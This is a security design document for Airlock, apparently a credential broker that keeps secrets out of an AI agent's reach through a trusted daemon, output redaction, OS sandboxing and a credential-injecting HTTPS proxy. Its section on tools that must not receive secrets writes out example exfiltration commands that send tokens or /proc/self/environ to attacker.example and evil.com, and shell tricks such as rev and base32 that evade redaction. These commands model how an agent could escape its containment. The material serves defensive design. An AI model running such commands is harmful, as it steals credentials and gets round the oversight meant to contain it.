Airlock prevents secret leakage. Its purpose is to ensure the AI agent harness never has access to the raw values of tool credentials — not in its environment, not in tool output, not on the filesystem. The one deliberate exception is [agent.env], which exists to hand the agent its own credentials; see Agent credentials.
Airlock does not prevent destructive actions. When the agent invokes gh repo delete or tofu destroy, the tool runs with the full authority of the supplied credentials. If the token permits it, the action succeeds. Preventing destructive actions is the responsibility of correctly scoped tokens (fine-grained PATs, least-privilege IAM roles) and agent harness sandboxing — not Airlock.
Airlock does, however, make scoped tokens the easy default. A [secrets.<label>] entry with source = "command" can mint a short-lived credential for a least-privilege identity from the operator's broader session — impersonating a read-only cloud service account, for instance — so the broad credential never has to enter the sandbox and no long-lived key for the narrow identity has to exist. See the README's Minting scoped credentials.
See the README's "Where Airlock fits" section for how Airlock fits into a complete defense-in-depth setup.
This document describes the security boundaries, secret lifecycle, and threat mitigations in detail.
┌─────────────────────────────────────────────────────────┐
│ Secret source (1Password, Vault, env, secretspec, ...) │
└────────────────────────┬────────────────────────────────┘
│ env vars at startup, or command sources
▼
┌─────────────────────┐
│ airlock daemon │ ← TRUSTED
│ │ holds secrets in memory
│ Unix socket API │ applies sandbox + redaction
└──────────┬──────────┘
│ NDJSON (redacted output only)
▼
┌─────────────────────┐
│ airlock exec │ ← UNTRUSTED
│ (client / agent) │ no access to secret values
└─────────────────────┘
The daemon is the trust boundary. It holds secrets, constructs sandbox policies, spawns tool processes, and redacts output. The client (airlock exec) is unprivileged — it connects over a Unix domain socket, sends a tool name and arguments, and receives only redacted stdout/stderr.
An AI agent interacts exclusively through the client side. It can request tool execution but never observes the raw values of tool secrets.
airlock run builds the agent's environment from scratch, the same way a tool's is built. [agent.env] entries may reference [secrets.<label>] values, and those are injected into the agent process. This is deliberate: the agent needs its own credentials — its LLM API key, typically — and they have nowhere else to come from. It is a narrow exception, not a second path for tool secrets. A secret referenced from [agent.env] is by definition visible to the agent, so never reference a tool credential there; tool credentials belong in [tools.<name>.env], where only the brokered process sees them.
The Unix socket is the entire trust boundary — anything that can connect(2) to it can ask for tool execution. Airlock authenticates peers by filesystem permission:
- The daemon sets
umask(0o077)aroundbind(2), creating the socket with mode0o700(owner-only) regardless of the ambient umask. The original umask is restored even if bind fails. - Immediately after bind, the daemon
stats the socket and refuses to start if any group/other bit is set. This catches filesystems that silently ignore mode bits (some network filesystems, certain FUSE mounts) or external umask overrides. The insecure socket is left on disk for the operator to inspect rather than auto-removed. - The PID file is created with
O_CREAT | O_EXCLand mode0o600in a singleopen(2)call, so it is never visible with a more permissive mode and a second daemon racing past the stale-cleanup check cannot overwrite it.
A peer-credential check (SO_PEERCRED / LOCAL_PEERCRED) on accept(2) is not yet implemented; it would be defense-in-depth on top of the filesystem mode. Tracked in TODO.md.
At daemon startup, collect_secrets resolves every [secrets.<label>] entry into a value keyed by its label:
source = "env"reads the daemon env var named byfrom(default: the label). Airlock is agnostic about where that variable came from — 1Password CLI, Hashicorp Vault,secretspec, or a plain shell export all work.source = "command"spawns the argv list (no shell), waits up totimeout, and takes the trimmed stdout as the value. These commands run unsandboxed with the daemon's environment — see Config safety.
Failures are batched: if any env variable is missing or any command fails, startup aborts with one error listing every problem (not just the first), so the operator can fix them in one pass.
Immediately after collection, the daemon removes every secret variable from its own process environment via std::env::remove_var(). This prevents exposure through /proc/<pid>/environ on Linux or ps eww on macOS.
This clearing happens before any fork or async runtime creation — while the process is still single-threaded — satisfying Rust 2024 edition's safety requirements for environment mutation.
Collected values are wrapped in Secret<T>, a newtype that:
- Prints
[REDACTED]from itsDebugimplementation — secret values never appear in log output, panic messages, or error formatting. - Requires an explicit
.expose_secret()call to access the inner value, making all exposure points easy to audit (grep forexpose_secret). - Is intentionally not
CloneorCopy, preventing casual proliferation in memory.
The daemon holds them in a SecretStore — Arc<HashMap<String, RwLock<SecretSlot>>>, keyed by label and shared across all connection handlers. The map itself is fixed at startup; each slot holds an Arc<Secret<String>> plus a health flag, so a background refresh can swap in a new value while in-flight readers keep the previous one until they drop it. A slot whose last refresh failed is marked Stale.
When the daemon handles an exec request, it walks the tool's [tools.<name>.env] map:
- A static string is inserted as-is.
- A
{ secret = "label" }reference takes a read lock on that label's slot. If the slot is healthy,.expose_secret()yields the value and it is inserted. If the slot isStale, the exec is refused with an error naming the label — never the value.
The child process receives a minimal environment — not the daemon's full environment:
| Variable | Source |
|---|---|
Secret-backed env entries |
From in-memory Secret<String> values |
Static env entries |
Literal strings from airlock.toml ({sandbox_root} expanded) |
PATH, HOME, TERM, USER |
Passthrough from daemon's environment (process basics) |
TZ |
Passthrough (timezone — without it, tools render timestamps in UTC or local default) |
LANG, LC_ALL, LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES |
Passthrough (locale — controls sort order, number/date formatting, message translations) |
| Everything else | Excluded |
The child's environment is constructed from scratch (cmd.env_clear() + explicit insertions). No ambient variables leak through.
Static values in [tools.<tool>.env] support exactly one template placeholder — {sandbox_root}, resolved at config load to the canonicalized directory containing airlock.toml. This is not shell interpolation: no other keys expand, no env vars are read, unknown placeholders are rejected. Templating applies only to static strings, never to { secret = "..." } refs or to argv.
All stdout and stderr from the child pass through an Aho-Corasick streaming automaton before reaching the client. For each secret, four encoding variants are registered as search patterns:
| Encoding | Example (secret: my-key-123) |
|---|---|
| Raw UTF-8 | my-key-123 |
| Base64 (standard, padded) | bXkta2V5LTEyMw== |
| URL-encoded (percent) | my%2Dkey%2D123 |
| Hexadecimal (lowercase) | 6d792d6b65792d313233 |
Any match is replaced with [REDACTED:NAME] where NAME is the secret's environment variable name.
The streaming implementation (aho-corasick's try_stream_replace_all) correctly handles partial matches that span chunk boundaries — a secret value split across two TCP-level reads is still detected and redacted.
Refreshed secrets. The automaton the child's output runs through is taken right after the daemon reads the child's secrets, not when the connection is accepted. A refresh swaps in a redactor that knows the new value before it publishes that value, so the automaton always knows every value in the child's environment. An automaton taken at accept time would not: the client chooses when to send its request, so an agent could open a connection, wait for a refresh, and then run a tool whose output carries a value the automaton has never seen.
Limitations: Redaction is best-effort by nature. A tool could transform a secret in ways that don't match any of the four encodings (e.g., reversing the string, encrypting it, splitting it across multiple output lines with interleaving). Airlock's primary defense is that secrets are only injected into specifically allowed tool processes; redaction is a defense-in-depth layer.
Tools run with deny-by-default filesystem access, enforced by OS-level mechanisms.
The daemon generates an SBPL (Scheme-based) sandbox profile for each tool execution:
- Base policy:
(deny default)— deny everything by default. - Process operations:
process-exec,process-fork,signal(target self),process-info(target self). - System reads:
sysctl-read(needed by Go/Rust runtimes beforemain()). - Mach IPC:
mach-lookupis an explicit allowlist (no blanket allow).(deny mach-priv*)blocks privileged operations.- Keychain is out of the baseline.
com.apple.SecurityServer,com.apple.securityd.xpc, and every other Mach endpoint that fronts Keychain Services are intentionally absent from the allowlist. A sandboxed process running under the baseline (or under the strictclaudeprofile) cannot read or write any keychain item. TLS trust evaluation (SecTrustEvaluate,SecPolicyCreateSSL) reaches the network throughcom.apple.trustd.agentand does not depend onsecurityd— verified empirically — so dropping the keychain services does not affect HTTPS. Profiles that need keychain access opt back in: seeclaude-relaxedunder "Built-in agent profiles" below. - File-change notification is in the baseline.
com.apple.FSEventsis on the allowlist because every macOS file watcher goes through it — without itnode --watch, nodemon, vite, andcargo watchfail, and they fail unrecognisably: libuv surfaces a failedFSEventStreamStartasEMFILE: too many open files, watcheven with a 1M descriptor limit, and Bun reportserror: Error starting FSEvents stream. The capability is notification-only: reading a changed file still goes through the filesystem rules. It does widen metadata disclosure — an event stream rooted outside the sandbox reports the paths of files the process cannot open — which is the accepted cost of working dev servers.
- Keychain is out of the baseline.
- Baseline filesystem reads:
/usr/lib,/usr/share,/System,/Library,/private/etc,/etc,/dev/null,/dev/random,/dev/urandom, and the tool binary itself (needed for TLS code signature verification). - Config-declared paths:
(allow file-read* (subpath ...))for read paths;(allow file-write* (subpath ...))for write paths. - Network: one of three states, chosen for each execution.
- Full (every ordinary tool):
network-outbound,system-socket, plus DNS via/private/var/run/mDNSResponder.network-bindis scoped to(local unix-socket)only — tools can bind Unix domain sockets for local IPC (argocd SSO, language servers, loopback IPC) but cannotlisten()on TCP/UDP and therefore cannot become network-reachable services. - Proxy-only (a proxy tool): one rule,
(allow network-outbound (remote tcp "localhost:<port>")).<port>is the ephemeral port the daemon bound for this execution. There is no generalnetwork-outbound, nosystem-socket, no mDNSResponder socket, and no bind of any kind. So the tool cannot resolve a name, reach a public address, or reach a different loopback port. We tested each case withsandbox-execagainst a live listener. Seatbelt'sremote tcpfilter accepts onlylocalhostor*as the host (an IP literal does not compile).localhostis what this rule needs. - None: no config produces this state today. The profile's
(deny default)covers it.
- Full (every ordinary tool):
Path traversal rules (file-read-metadata for ancestor directories) are generated automatically.
SBPL injection prevention: Any path containing ASCII control characters (0x00–0x1F or 0x7F) is rejected. A null byte would truncate the profile string; other control characters could break the S-expression syntax.
The profile is applied via sandbox_init() FFI in the pre_exec closure, after fork but before exec.
The daemon uses Landlock (kernel 5.13+) with ABI V1 and hard requirement — if Landlock is not available, the daemon refuses to start rather than silently degrading.
-
Baseline filesystem reads (mirrors the macOS Seatbelt baseline; missing entries are silently skipped):
/usr/lib,/usr/lib64,/lib,/lib64,/usr/share,/usr/bin,/bin,/etc,/dev/null,/dev/random,/dev/urandom. These are required by the dynamic linker, libc, TLS trust store, and entropy sources; they contain no user secrets. -
Read paths →
PathBeneathwithAccessFs::from_read(abi) -
Read-write paths →
PathBeneathwithAccessFs::from_all(abi) -
The Landlock ruleset fd is pre-built, extracted as an
OwnedFd, and its raw integer is passed into thepre_execclosure (inherited across fork). -
In the child:
prctl(PR_SET_NO_NEW_PRIVS, 1)followed bylandlock_restrict_selfsyscall. -
Network (proxy tools only): Landlock ABI V4 (kernel 6.7+) adds TCP bind and connect rules. For a proxy tool, the ruleset handles both
BindTcpandConnectTcp, and allowsConnectTcponly to the proxy's port. This is also a hard requirement: on a kernel older than 6.7 the exec fails. The tool never runs without the port restriction. Ordinary tools do not handle network access rights at all, so their network behaviour has not changed.Landlock itself leaves two gaps. First, the rule is port-scoped, not host-scoped: the tool can reach that port number on any host. Second, UDP is not covered, so exfiltration over DNS is still possible. Through either gap the tool can leak data it can read, but never the credential, because the tool never holds one. The agent's own sandbox already has general network access, so neither gap gives the agent a new capability. A network-namespace backend would close both gaps and is the planned next step.
The directory containing airlock.toml is always included as a read-write path in the sandbox policy. This is the tool's working directory and where it reads/writes project files.
airlock run --profile <name> layers a pre-configured set of filesystem and SBPL rules onto the agent sandbox for a well-known tool. Two profiles ship today; each represents a deliberate point on the convenience-vs-confinement curve.
claude — narrow profile, default choice.
- Adds read/write paths:
~/.claude/,~/.claude.json,~/.cache/claude/,~/.local/share/claude/,~/.local/state/claude/. - macOS only: also widens write access to
~/.claude.json's sibling lock and per-pid.tmp.*files, and~/.claude.lock. - Keychain posture: keychain is unreachable. The baseline Mach allowlist excludes
com.apple.SecurityServerandcom.apple.securityd.xpc, and~/Library/Keychains/is denied for both read and write. Claude Code's probe (security show-keychain-info) fails, the auth subsystem reports "macOS Keychain is not writable", and OAuth tokens are persisted to~/.claude/.credentials.json(mode0600) instead. This moves secrets-at-rest from the encrypted keychain DB to a plaintext file inside$HOME— a deliberate trade for keeping the agent unable to see any keychain content from any other app.
claude-relaxed — claude plus interactive-ergonomics relaxations.
- Re-adds the keychain Mach endpoints (
com.apple.SecurityServer,com.apple.securityd.xpc) sosecuritydIPC works for bothSecItem*and legacySecKeychainItem*callers. - Adds read/write access to
~/Library/Keychains/sosecurity add-generic-password(the legacy write path Claude Code uses to save OAuth tokens) succeeds and writes the encrypted keychain DB directly, instead of falling back to the plaintext~/.claude/.credentials.json. - Adds the macOS pasteboard Mach service (clipboard).
- Adds Launch Services Mach services + the
lsopenoperation class (soopen <url>works from inside the sandbox). - Adds read access to
~/Library/Preferences/.GlobalPreferences*.plist(default browser lookup). - Adds read access to shell init dotfiles:
.bashrc,.bash_profile,.bash_login,.profile,.zshrc,.zprofile,.zshenv,.zlogin,.inputrc.
Each claude-relaxed extension is a deliberate widening. The keychain DB at rest is encrypted (AES, master key derived from the user's login password and held only in securityd's memory), so a sandboxed agent with this access cannot decrypt or forge keychain items. What it can do:
- Read all keychain metadata in plaintext (service names, account names, ACLs, timestamps) — information disclosure across every app that stores secrets in
login.keychain-db. - Corrupt, truncate, or roll back the DB file (denial of service; rollback can restore previously revoked credentials).
- Stash a copy of the encrypted blob for offline brute-force against the login password.
Pick claude-relaxed when you want the convenience and accept those marginal risks. Pick claude when the plaintext fallback is the lesser evil.
Clipboard reads can return password-manager tokens; open <url> reveals OAuth redirect URLs (with codes) to the browser process; dotfiles frequently carry export AWS_*, export GITHUB_TOKEN, etc. The relaxed bundle widens the data-leak surface, not the authority to write to your account-state. The keychain widening adds DoS and metadata disclosure but not decryption capability.
- Each tool is placed in its own process group via
setpgid(0, 0)in thepre_execclosure. - Signals are sent to the entire group via
kill(-pgid, signal), ensuring grandchild processes are included. Child::kill()is never used (it would only signal the direct child, leaving grandchildren as orphans).kill_on_dropis disabled for the same reason.
- Global default: 300 seconds (configurable via
timeoutinairlock.toml). - Per-tool override:
timeoutfield in[tools.NAME]. - On timeout: SIGTERM to the process group, 5-second grace period, then SIGKILL escalation.
When the client drops the socket connection (e.g., Ctrl+C):
- The daemon detects the closed connection.
- SIGTERM is sent to the child's process group.
- After 5 seconds, SIGKILL follows if the group hasn't exited.
If no stdin data arrives within 2 seconds of tool start, the daemon closes the child's stdin pipe. This prevents tools from blocking indefinitely on stdin when the agent doesn't intend to provide input.
Airlock is not a general-purpose command runner. Only tools that need secrets should be declared in airlock.toml. Everything else — grep, cargo, npm, make, ls, shell scripts, build tools — should run directly through the agent harness's own sandbox. (git spans both worlds: local reads and SSH-based operations don't need Airlock, but signed commits and HTTPS pushes that rely on a GPG key or a credential-helper token are legitimate Airlock-brokered workflows.)
This is important for two reasons:
- Smaller attack surface. The fewer tools that receive secrets, the fewer opportunities for leakage. An Airlock config with two tools (
gh,tofu) is far safer than one with twenty. - Agent capability. The agent still needs general-purpose tooling to do its job — reading files, running builds, executing tests. Those don't require credentials and shouldn't be routed through Airlock.
A typical setup:
Agent harness (sandboxed)
├── Direct execution: grep, cargo, npm, make, ls, cat, git (local/SSH), ...
└── Via airlock exec: gh, tofu, gcloud, aws, git (signed/HTTPS), ...
Airlock's security model assumes that declared tools are purpose-built binaries with a narrow, well-defined interface — not general-purpose scripting environments. The tool receives secrets as environment variables and runs with full access to them. Airlock controls which tools get secrets and redacts their output, but it cannot control what the tool does internally.
Do not declare bash, sh, zsh, python, node, ruby, perl, curl, wget, or any other shell/interpreter or general-purpose network tool as an Airlock tool. If the agent can script the tool, it can trivially exfiltrate secrets. The one exception is curl declared as a proxy tool.
With a shell or interpreter, the agent can transform secrets to bypass redaction or write them anywhere:
airlock exec -- bash -c 'echo $GH_TOKEN | rev' # reversed — bypasses redaction
airlock exec -- bash -c 'echo $GH_TOKEN | base32' # base32 — not in redaction set
airlock exec -- bash -c 'echo $GH_TOKEN > /tmp/leak' # written to file
airlock exec -- python3 -c 'import os; print(os.environ["GH_TOKEN"][::-1])'
airlock exec -- bash -c 'curl -s -X POST https://attacker.example/collect -d "token=$GH_TOKEN"'Without a shell, $GH_TOKEN is not expanded — airlock execs the binary directly with literal arguments. That does not make curl/wget safe. curl 8.3 and later can read environment variables into its arguments by itself (--variable %NAME with --expand-url / --expand-data). This works on every platform:
airlock exec -- curl --variable %GH_TOKEN --expand-url 'https://attacker.example/?t={{GH_TOKEN}}'Both tools can also read files. On Linux this includes the process's own environment, through /proc/self/environ:
# Exfiltrate the entire env (including injected secrets) as a file upload — no shell needed:
airlock exec -- curl -s --data-binary @/proc/self/environ https://attacker.example/
airlock exec -- curl -s -T /proc/self/environ https://attacker.example/upload
airlock exec -- wget --post-file=/proc/self/environ https://attacker.example//proc/self/environ does not exist on macOS, so the env-as-a-file trick works only on Linux. --variable works everywhere. Blocking shell expansion is not enough: never declare curl or wget as a tool with secrets in its environment. Declare curl as a proxy tool instead. That is the only safe way to use it.
Limiting where such a tool can connect does not fix the env-var case either. Allowed API hosts are often multi-tenant: storage.googleapis.com serves an attacker's bucket as well as yours. So a secret in the tool's environment can be exfiltrated to an allowed host. For this reason, proxy tools remove the credential from the tool completely, instead of only limiting where the tool can connect.
The agent controls the arguments passed to the tool. If the tool is a shell, the agent effectively has arbitrary code execution with secrets — defeating Airlock's entire purpose.
Declare tools that have a fixed command interface where the agent controls arguments but not the execution logic:
| Tool | Why it's safe |
|---|---|
gh |
GitHub CLI — the agent can invoke gh pr list or gh repo clone, but can't script arbitrary shell commands. The token is used internally by gh for API auth. |
tofu / terraform |
Infrastructure CLI — reads state, plans changes, applies them. The agent picks subcommands, not arbitrary code. |
gcloud |
Google Cloud CLI — structured subcommands for cloud resource management. |
aws |
AWS CLI — same pattern: structured subcommands, credentials used internally. |
kubectl |
Kubernetes CLI — manages cluster resources via structured commands. |
docker |
Container CLI — builds/runs containers (scope carefully, as docker run can mount host paths). |
These tools are perfectly fine for the agent to use directly through its own sandbox — they just must not be given secrets via Airlock:
| Tool | Why it must not receive secrets |
|---|---|
bash / sh / zsh |
Agent controls the entire script. Can transform and exfiltrate secrets in unlimited ways. |
python / python3 |
Agent passes -c with arbitrary code. Full access to secrets via os.environ. |
node / ruby / perl |
Same — arbitrary code execution with secrets in the environment. |
env |
Only useful for debugging. In production, don't give the agent a tool that exists solely to print the environment. |
curl / wget |
Agent controls the URL. Could POST secrets to an attacker-controlled endpoint: curl -d "$GH_TOKEN" https://evil.com. curl is safe only as a proxy tool, where it holds no secret. wget is not supported as a proxy tool: whether it reads the CA-bundle variables the daemon sets depends on its TLS backend, and we have not tested this. |
grep / cargo / npm / make |
Don't need secrets. Let the agent run them directly — no reason to route through Airlock. |
If the agent can construct arbitrary code or network requests through the tool's arguments, that tool should not receive secrets. The tool should be a CLI that uses the secret internally (for API authentication, state access, etc.) rather than one that exposes it to agent-controlled logic.
If the tool doesn't need secrets, don't declare it in Airlock at all. Let the agent run it directly through its own sandbox.
A proxy tool is a tool with proxy = true and one or more [[tools.<name>.routes]]. It is the only safe way to declare a general-purpose HTTP client as an Airlock tool. Design notes: docs/proxy-tools-design.md.
A proxy tool never holds a secret. The daemon attaches the credential after the request has left the tool.
Config validation enforces the first part. At load time, Airlock rejects a proxy tool if its env contains a { secret = ... } reference. It also rejects a proxy tool that sets HTTP_PROXY, HTTPS_PROXY, ALL_PROXY, NO_PROXY, CURL_CA_BUNDLE, SSL_CERT_FILE, SSL_CERT_DIR, NODE_EXTRA_CA_CERTS or REQUESTS_CA_BUNDLE, in any letter case, because the daemon sets these itself. So nothing the agent can extract from the tool's process (environment, files, memory) contains a secret.
Egress restriction is the second layer, not the first. It makes the set of hosts the tool can reach equal to its routes. It does not protect the credential.
-
Binds a TCP listener on
127.0.0.1:0and reads back the actual port. The listener lives exactly as long as the child. Every exit path (normal exit, timeout, kill, client disconnect) closes it. When no proxy tool is running, nothing is bound. -
Generates a random 32-byte token. The tool authenticates with
Proxy-Authorization: Basic base64("airlock:<token>"). The proxy compares it in constant time and answers407on a mismatch. The token is mandatory. Airlock's trust boundary is a0700Unix socket, but a loopback TCP port has no file mode, so any local user can connect to it. Without the token, another user could connect during an exec and have the daemon attach credentials to their requests. The tool can see the token, and so can the agent. This is fine: the token gives nothing that the agent does not already have throughairlock exec. -
Sets these environment variables:
HTTPS_PROXY/https_proxy/HTTP_PROXY/http_proxy/ALL_PROXY/all_proxytohttp://airlock:<token>@127.0.0.1:<port>.NO_PROXY/no_proxyto an empty string.CURL_CA_BUNDLE/SSL_CERT_FILE/REQUESTS_CA_BUNDLE/NODE_EXTRA_CA_CERTSto the path of the CA certificate.
The daemon applies these after the tool's own
env, so these values win. -
Builds the sandbox profile with network access limited to that port. See Filesystem sandboxing for the rule on each platform.
| Condition | Result |
|---|---|
Proxy-Authorization missing or wrong |
407 |
Any method other than CONNECT (for example a plain GET http://…) |
403. The proxy never attaches the credential to a cleartext request. |
| CONNECT to a port other than 443 | 403 |
| CONNECT to a host that no route matches | 403 (deny by default) |
| CONNECT while 32 tunnels are already open for this exec | 503, sent before the 200, so the tool can retry |
| The proxy cannot create a certificate for the host | 500, sent before the 200, and written to the audit log |
Inside the tunnel: Host header ≠ the CONNECT authority |
400 (no domain fronting) |
| Inside the tunnel: absolute-form request target | 400 |
Transfer-Encoding together with Content-Length, or two Content-Length headers |
400 (request smuggling) |
An X-HTTP-Method-Override, X-HTTP-Method or X-Method-Override header, whatever its value |
403. Upstreams such as Google APIs route by this header instead of the request method, so the method the rules checked would not be the one that runs. |
The route's allow / deny rules do not permit the method and path |
403 |
The path contains . or .. segments, //, a backslash, a malformed percent-escape, or an escape that decodes to /, \, % or NUL |
403. The proxy refuses the path instead of normalizing it, because the upstream may normalize it differently than the matcher. |
The slot of the injected secret is Stale |
502 |
The host resolves to a private, loopback, link-local (including 169.254.169.254), CGNAT, ULA, multicast, documentation or other non-routable address |
502 |
The upstream answers with a Content-Encoding other than identity, a transfer coding other than chunked, or a partial response (206 / Content-Range) |
502, and the proxy drops the body unread. See Response redaction. |
The proxy checks the allow/deny rules in this order. A request that matches any deny rule is refused, even if an allow rule also matches. If allow is empty, every request that no deny rule matches is allowed. If allow is not empty, a request must also match at least one allow rule. So with a non-empty allow, a request that matches neither list is refused.
The allow/deny rules are matched against the percent-decoded path, decoding each segment once, because the upstream routes on the decoded path. For example, GitHub treats DELETE /%72epos/o/n as DELETE /repos/o/n, so it must match deny = ["DELETE /repos/**"] in the same way. For this reason you write rules in decoded form, and a rule may not contain %.
Upstreams also disagree on two more details. Many frameworks treat /x/ as /x, and servlet containers (Tomcat, Spring) remove ;params from each segment. So the proxy checks deny rules against all of these forms of the path, and allow rules only against the path as sent. deny = ["DELETE /secrets/*"] therefore also refuses DELETE /secrets/x/ and DELETE /secrets/x;y. A segment that becomes ., .. or empty once its ;params are removed (for example ..;) is refused.
Before the proxy attaches the credential, it removes every copy of the injected header that the client sent. It also removes Proxy-Authorization, Proxy-Connection and the other hop-by-hop headers. The proxy reads the secret from the secret store for each request, so a background refresh applies to the next request. The proxy builds the header value in a buffer that is zeroized after use, never with format!, and marks the value as sensitive.
The proxy also changes the request so that the redactor can read the response. It always sets Accept-Encoding to identity, whatever the tool asked for, and it removes Range and If-Range.
The proxy redacts everything the upstream sends back before it reaches the tool. It uses the same automaton and the same secret set as the tool's stdout: raw, base64, URL-encoded and hex variants of every declared secret, not only the secret of this route.
- All response header values, including
Location,Set-CookieandWWW-Authenticate. If a value is not a valid header value after replacement, the proxy drops it. It never forwards the original. - The body, streamed. The proxy buffers only a possible partial match at the end of a frame. So a multi-gigabyte download costs the same as a small one, and the tool's read rate controls the upstream read rate. A secret split across two upstream writes is still caught.
- Trailers are dropped, not forwarded.
- The upstream's reason phrase is dropped.
HTTP/1.1 200 <anything>is a legal status line, and the reason phrase is outside the header map. So the tool sees the status code with the standard phrase, never the upstream's text.
The proxy takes the redactor from the daemon's live handle for each response. It does not use a copy taken when the exec started. A tool can run for minutes, and the proxy injects the value the store holds now. The redactor keeps the two newest values of a refreshed secret, so a refresh that happens in the middle of a response is still covered.
A [REDACTED:name] placeholder does not have the same length as the secret it replaces. So the upstream Content-Length is wrong whenever something matches, and the proxy cannot know this before it has read the body. For this reason the proxy removes Content-Length from every response that has a body, and hyper sends the response with chunked encoding (HTTP/1.1 always supports it). A response without a body (HEAD, 1xx, 204, 304) keeps its Content-Length. In such a response the length describes the resource, not the bytes on the wire, so curl -I still shows it.
The proxy refuses three cases instead of handling them. The reason is the same for all three: the redactor matches bytes, not formats, and Airlock adds no decoder to the response path.
- Compressed responses. A byte-pattern scanner cannot see inside
gzip,br,zstdordeflate. The request asks foridentity. If the upstream compresses anyway, the proxy returns502and drops the body unread. - Unknown transfer codings, for the same reason.
- Byte ranges. A range can start in the middle of a secret. The pattern would then be split across two responses that the proxy never sees together, while the tool joins the plaintext in a file. So the proxy removes
RangeandIf-Rangefrom the request, and the upstream sends the whole resource. If a206orContent-Rangearrives anyway, the proxy refuses it. As a result, resumed and parallel-chunked downloads do not work through a proxy tool.
No configuration turns any of this off. Redaction on the output path is mandatory in Airlock, and the proxy is an output path.
If the proxy replaced anything in a response, the audit log records it. When the headers arrive, the log line includes the count of redacted header values. When the body ends, a second line gives the count for the body. The log records only counts, never the matched bytes.
The CONNECT authority is the single source of truth. It selects the route. It is the name in the leaf certificate shown to the tool. It is the name the proxy resolves and connects to. It is the name the proxy verifies the upstream certificate against (TLS 1.2 or later, public roots). The proxy ignores the client's SNI completely. So curl --resolve, --connect-to, a forged Host header or a forged SNI cannot make any two of these disagree. The proxy resolves DNS once and connects to the exact SocketAddr that passed the address check, so DNS rebinding cannot change the address between the check and the connection.
The proxy logs each request to the ring buffer: tool, method, host, path, decision and upstream status. It never logs a header value or the query string, because the query string can contain data.
- ECDSA P-256. The daemon generates it once, after daemonization, and holds it in memory. The key is never written to disk. A restart creates a new CA. Nothing needs to trust the CA across restarts, because only children of the same daemon use it.
CA:TRUE, pathlen:0, plus X.509 Name Constraints that permit only the DNS names in the routes. So even a leaked key cannot sign certificates for other sites. A permitted subtree also covers the apex and deeper labels (*.example.compermitsexample.com). Route matching still decides exactly which certificates the proxy issues.- Only the certificate is written to disk, to
{sandbox_root}/airlock-ca.pem(mode0644), next toairlock.sockandairlock.pid. The daemon removes it at graceful shutdown. If it is left behind, the next start removes it as stale state. - The bundle given to the tool contains only this CA. The proxy intercepts every connection the tool can make, so the tool does not need public roots. Without them, a direct connection that somehow escaped the sandbox would still fail TLS.
- Tested: Apple's system
/usr/bin/curl8.7.1 (SecureTransport / LibreSSL 3.3.6) readsCURL_CA_BUNDLEfor a connection through the proxy and accepts a leaf certificate from the name-constrained CA. Homebrew curl is not needed.
- Misuse, not leakage. The agent gets the full API permissions of the credential on the routed hosts. This is broader than a purpose-built CLI. Mitigate this first with a narrowly scoped service account, then with allow/deny rules.
- Data exfiltration to other tenants. The tool can upload anything it can read to an attacker's project on an allowed multi-tenant host (
storage.googleapis.comserves every GCP customer). It cannot upload the credential. - Allow/deny rules are a convenience, not an authorization system. They see the path, not the body. A
POSTallowed for one purpose can do something else (:batchUpdate, GraphQL). Some web frameworks (Laravel, Symfony, Rails) also read the method from a_methodfield in a POST's form body or query string. The proxy refuses the method-override headers, but it does not parse bodies or query strings. IAM is the real permission boundary. - An upstream that transforms the secret is not caught. Response redaction closes the
curl -o/--dump-header/--tracepath for response bytes. What the tool writes to a file is already redacted, so the plaintext credential never exists inside the sandbox. Redaction does not catch an upstream that returns the secret reversed, split into pieces, or in an encoding the redactor does not know. The stdout path has the same limit. Redaction also does not apply to data the agent sends: the proxy forwards the query string and request body as the agent wrote them. - Linux egress restriction is port-scoped and TCP-only. See Linux — Landlock LSM.
- HTTP/1.1 only. ALPN offers only
http/1.1, so gRPC and HTTP/2-only endpoints do not work. - Clients that pin certificates fail because the proxy intercepts TLS. This is by design.
- Discovery:
airlock.tomlis found by walking up from CWD toward$HOME. Only files owned by the current effective UID are accepted, preventing privilege escalation via a crafted config in a shared directory. - TOCTOU-safe open: The config is opened with
O_NOFOLLOWand the ownership check is run againstfstaton the resulting fd. Rejects symlinks, non-regular files, and files whose UID changes between discovery and read. An attacker who cannot modify the containing directory cannot swap the file between the walk's ownership check and the read. - Size cap: The config is truncated at 1 MiB and refused if it would exceed that, bounding allocation if something points the daemon at an oversized file.
$HOMEsandbox-root refusal: Ifairlock.tomlis discovered directly at$HOME, the whole home directory would become the sandbox root — exposing it to all sandboxed tools. Airlock refuses to start in that case unless the config containsallow_home_root = trueas an explicit opt-in.- Tool name validation: Names must not contain
/or\. This prevents PATH traversal attacks (e.g.,../../bin/malicious). - CWD validation: The client's working directory must be a subdirectory of (or equal to) the sandbox root. This uses proper path-component prefix checking —
"/tmp/project-evil"does not pass validation for sandbox root"/tmp/project". - Secret-fetcher commands bypass the sandbox.
[secrets.<label>]entries withsource = "command"spawn processes under the daemon itself, inheriting its environment and filesystem permissions — Seatbelt/Landlock enforcement applies only to tool invocations, not to these commands. Whenrefreshis set, the command re-runs on every interval for the daemon's lifetime. Review everycommand = [...]as you would a shell script run by the daemon's user. - Stale secrets fail closed. A refresh command that exits non-zero, times out, or fails to spawn marks the secret as stale; any subsequent
airlock execthat references that secret returns an error rather than running the tool with the prior (likely-expired) value. The daemon keeps retrying with exponential backoff so the secret recovers automatically once the upstream is healthy. The error returned to the client names the secret label and the underlying reason — never the secret value.
- NDJSON line cap: Every line read from a client (initial control frame and per-message stdin frames) is capped at 1 MiB by
tokio-util'sLinesCodec. Without this, a client that opens the socket and never sends a newline would force the daemon to grow its read buffer without bound. - Overflow handling: An oversized initial frame is answered with a generic
malformed request/request exceeds maximum lengtherror; an oversized stdin line during an active exec triggers SIGTERM → SIGKILL on the child's process group and returnsexit { code: -1 }to the client. - Error messages are generic: The daemon never echoes raw parser errors or line contents back to the client — parse failures log the underlying error to the ring buffer and return
"malformed request"so no fragment of the offending input is reflected.
On SIGTERM:
- The daemon stops accepting new connections.
- SIGTERM is sent to all registered child PIDs.
- After a 5-second grace period, remaining children receive SIGKILL.
- PID file and socket are cleaned up.
This is by design. Airlock prevents secret leakage, not secret misuse. If you supply a GitHub token with repo-delete permissions, the agent can invoke gh repo delete and the tool will succeed. Airlock ensures the agent can't extract the token and exfiltrate it — but the tools themselves run with the full authority of the credentials they receive.
Mitigation: Always use the narrowest possible token scope. GitHub fine-grained PATs, least-privilege IAM roles, read-only API keys. This is the single most impactful security measure you can take.
